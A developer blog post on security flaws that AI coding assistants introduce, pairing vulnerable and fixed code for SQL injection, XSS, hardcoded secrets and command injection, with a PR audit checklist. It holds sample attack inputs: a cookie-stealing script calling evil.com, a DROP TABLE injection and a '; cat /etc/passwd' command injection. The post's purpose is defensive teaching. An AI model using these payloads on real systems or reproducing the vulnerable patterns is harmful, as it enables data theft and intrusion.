DEV Community

Cover image for I Checked What Security Vulnerabilities AI Coding Tools Actually Introduce
Vitalii Petrenko
Vitalii Petrenko

Posted on

I Checked What Security Vulnerabilities AI Coding Tools Actually Introduce

Last month I started going through PRs and open-source repos, cataloging the security vulnerabilities that AI coding tools actually introduce. Not theoretical risks. Actual patterns showing up in production code, backed by security research.

The numbers are bad. Veracode tested over 100 LLMs across Java, Python, C#, and JavaScript. 45% of generated code samples failed security tests. AI tools failed to defend against XSS in 86% of relevant samples. Apiiro found that AI-assisted developers produce 3-4x more code but generate 10x more security issues. Read that again. 10x.

The patterns are predictable, though. Once you know what to look for, you start seeing them everywhere.

1. SQL injection still happening in 2026

Ask ChatGPT or Copilot for a database query endpoint and you'll get something like this:

// VULNERABLE
app.get('/user', async (req, res) => {
  const userId = req.query.id;
  const sql = `SELECT * FROM users WHERE id = ${userId}`;
  connection.query(sql, (err, results) => {
    if (err) return res.status(500).send('Error');
    res.json(results[0]);
  });
});
Enter fullscreen mode Exit fullscreen mode

Send ?id=1 OR 1=1 and you dump the entire users table. Send ?id=1; DROP TABLE users;-- and it's gone.

String interpolation is shorter than parameterized queries, so that's what the model generates. It optimizes for "works," not "safe."

The fix:

// SECURE
app.get('/user', async (req, res) => {
  const userId = parseInt(req.query.id, 10);
  if (!Number.isInteger(userId)) {
    return res.status(400).send('Invalid id');
  }
  const sql = 'SELECT * FROM users WHERE id = ?';
  connection.query(sql, [userId], (err, results) => {
    if (err) return res.status(500).send('Error');
    res.json(results[0]);
  });
});
Enter fullscreen mode Exit fullscreen mode

Same thing in Python. AI generates f-strings in SQL every time:

# VULNERABLE
query = f"SELECT * FROM posts WHERE title LIKE '%{term}%'"
cur.execute(query)

# SECURE
query = "SELECT * FROM posts WHERE title LIKE ?"
cur.execute(query, (f"%{term}%",))
Enter fullscreen mode Exit fullscreen mode

Why? Training data is full of tutorials and Stack Overflow answers that use string interpolation for brevity. The model just reproduces the most common pattern, and the most common pattern happens to be the insecure one.

2. XSS, with an 86% failure rate

Veracode's number on this one surprised me. 86% of the time, AI-generated code failed to defend against cross-site scripting. The pattern is simple:

// VULNERABLE
app.get('/greet', (req, res) => {
  const name = req.query.name || 'Guest';
  res.send(`<h1>Hello, ${name}!</h1>`);
});
Enter fullscreen mode Exit fullscreen mode

Payload: ?name=<script>fetch('https://evil.com/steal?c='+document.cookie)</script>

In React and Next.js it looks different but the result is the same:

// VULNERABLE
function Comment({ text }: { text: string }) {
  return <div dangerouslySetInnerHTML={{ __html: text }} />;
}
Enter fullscreen mode Exit fullscreen mode

If text comes from user input or an API without sanitization, you've got stored XSS.

The fixes:

// Server-side: escape HTML
function escapeHtml(str) {
  return String(str)
    .replace(/&/g, '&amp;').replace(/</g, '&lt;')
    .replace(/>/g, '&gt;').replace(/"/g, '&quot;');
}
app.get('/greet', (req, res) => {
  const name = escapeHtml(req.query.name || 'Guest');
  res.send(`<h1>Hello, ${name}!</h1>`);
});

// React: render as text, not HTML
function Comment({ text }: { text: string }) {
  return <div>{text}</div>;
}
Enter fullscreen mode Exit fullscreen mode

Most training examples show the shortest path to rendering dynamic content. Output encoding adds code that doesn't make demos look better, so the model skips it.

3. Hardcoded secrets

This one is everywhere, and I mean everywhere. GitGuardian analyzed ~20,000 Copilot-active repos and found a 6.4% secret leakage rate vs 4.6% across all public repos, about 40% higher (State of Secrets Sprawl 2025).

// VULNERABLE
const STRIPE_KEY = 'sk_live_51Nxxxxxxxxxxxxxxxx';
const DB_PASSWORD = 'P@ssw0rd123';
const JWT_SECRET = 'my_super_secret_jwt_key';

const stripe = require('stripe')(STRIPE_KEY);
Enter fullscreen mode Exit fullscreen mode

The model saw thousands of tutorials with hardcoded keys. It reproduces them faithfully.

# VULNERABLE
SMTP_USER = "noreply@example.com"
SMTP_PASS = "supersecretpassword"

server = smtplib.SMTP("smtp.example.com", 587)
server.login(SMTP_USER, SMTP_PASS)
Enter fullscreen mode Exit fullscreen mode

The fix is obvious but the AI doesn't apply it:

// SECURE
const STRIPE_KEY = process.env.STRIPE_API_KEY;
if (!STRIPE_KEY) throw new Error('Missing STRIPE_API_KEY');

const stripe = require('stripe')(STRIPE_KEY);
Enter fullscreen mode Exit fullscreen mode

Here's the thing that makes this worse than the other patterns: these secrets end up in git history. Even if you delete them from the file, they're recoverable from the commit log. One leaked Stripe key means unauthorized charges. One leaked AWS credential can mean someone owns your entire infrastructure.

4. Command injection

Ask AI to "run a ping command" or "create a backup" and you'll get exec() with template literals:

// VULNERABLE
const { exec } = require('child_process');

app.post('/ping', (req, res) => {
  const host = req.body.host;
  exec(`ping -c 4 ${host}`, (error, stdout) => {
    res.send(stdout);
  });
});
Enter fullscreen mode Exit fullscreen mode

Send host=8.8.8.8; cat /etc/passwd and you get the server's password file.

# VULNERABLE
cmd = f"tar -czf /tmp/backup.tgz {path}"
subprocess.check_output(cmd, shell=True)
Enter fullscreen mode Exit fullscreen mode

The fix:

// SECURE
const { spawn } = require('child_process');

app.post('/ping', (req, res) => {
  const host = req.body.host;
  if (!/^[a-zA-Z0-9.\-]{1,253}$/.test(host)) {
    return res.status(400).send('Invalid host');
  }
  const child = spawn('ping', ['-c', '4', host], { shell: false });
  let output = '';
  child.stdout.on('data', d => output += d);
  child.on('close', () => res.send(output));
});
Enter fullscreen mode Exit fullscreen mode

exec() with template literals is fewer lines than spawn() with argument arrays. The model picks the concise path.

5. The ones that pass code review

These aren't exotic. They're the kind of thing you'd glance at and approve because nothing looks obviously wrong.

Empty catch blocks that silently bypass auth:

try { await verifyToken(token); }
catch (e) { /* AI leaves this empty */ }
// Execution continues even if token is invalid
Enter fullscreen mode Exit fullscreen mode

CORS wildcards on APIs that use cookies or tokens:

app.use(cors({ origin: '*' }));
Enter fullscreen mode Exit fullscreen mode

The AI "fix" for certificate errors in Python:

requests.get(url, verify=False)
Enter fullscreen mode Exit fullscreen mode

Math.random where you need unpredictable tokens:

// VULNERABLE
const token = Math.random().toString(36).substring(2);

// SECURE
const token = crypto.randomBytes(32).toString('hex');
Enter fullscreen mode Exit fullscreen mode

Client-side auth with no server-side validation:

function AdminPage() {
  const { user } = useAuth();
  if (!user?.isAdmin) return <Redirect to="/" />;
  return <AdminDashboard />;
  // Meanwhile, the API endpoints have zero auth checks
}
Enter fullscreen mode Exit fullscreen mode

None of these alone will make headlines. But they show up in clusters, and they compound. I've seen PRs with three or four of these at once.

The scale of this

85% of developers now use AI coding assistants (JetBrains 2025). 46% of new code from active Copilot users is AI-generated, up from 27% in 2022. Somewhere between 40% and 62% of that code has security vulnerabilities, depending on which study you look at.

Fixing a vulnerability during code review costs $200-800 in developer time. In production? $3,000-10,000+. If it leads to a breach, IBM puts the average at $4.44 million.

The Stanford/Boneh research group found something that I keep coming back to: developers using AI wrote less secure code while feeling more confident about security. That confidence gap might be the most dangerous part of all this.

Quick PR audit checklist

Before you merge your next PR, grep or ctrl+F for these:

  1. String interpolation in SQL - any ${} or f-string near SELECT, INSERT, UPDATE, DELETE
  2. innerHTML / dangerouslySetInnerHTML - if the data comes from users or an API, it's XSS
  3. Hardcoded strings that look like keys - sk_live_, AKIA, ghp_, passwords in quotes
  4. exec() or shell=True with variables - if user input reaches a shell command, it's game over
  5. Empty catch blocks - especially around auth/token verification
  6. Math.random() for tokens or IDs - predictable, not secure
  7. cors({ origin: '*' }) on routes that use cookies or auth headers
  8. verify=False in Python requests - disables all TLS checks
  9. Client-side-only auth - open each API route that serves sensitive data and verify there's a server-side auth check

If you find zero issues, either your codebase is unusually clean or you're not looking hard enough. I've never audited a repo with AI-generated code and come up empty.

What I do about it

I'm not going to tell you to stop using AI coding tools. I use them every day. But I've started treating AI-generated code the way I'd treat code from a fast but careless junior developer: assume security is missing until proven otherwise.

The checklist above catches the pattern-level stuff. For logic-level vulnerabilities (auth bypasses, SSRF, broken session management), I run a separate AI pass specifically prompted for security analysis. AI is actually good at finding vulnerabilities when you explicitly ask it to look for them.

I ended up automating both of those steps into a VS Code extension called Git AutoReview. It runs 15 regex security rules locally plus a specialized AI security pass on every PR. Works with GitHub, GitLab, and Bitbucket. BYOK, so your code goes straight to your AI provider. Free tier is 10 reviews/day.

But the checklist works without any tool. Print it, tape it to your monitor, run it on your last three PRs. I'd bet money you'll find something.


Sources: Stanford/NYU Copilot Study, Veracode 2025 GenAI Code Security Report, IBM 2025 Cost of a Data Breach, Apiiro (June 2025), GitGuardian Secret Sprawl Report, Kaspersky Blog: Vibe Coding Security Risks, OWASP Top 10 2025.

Top comments (0)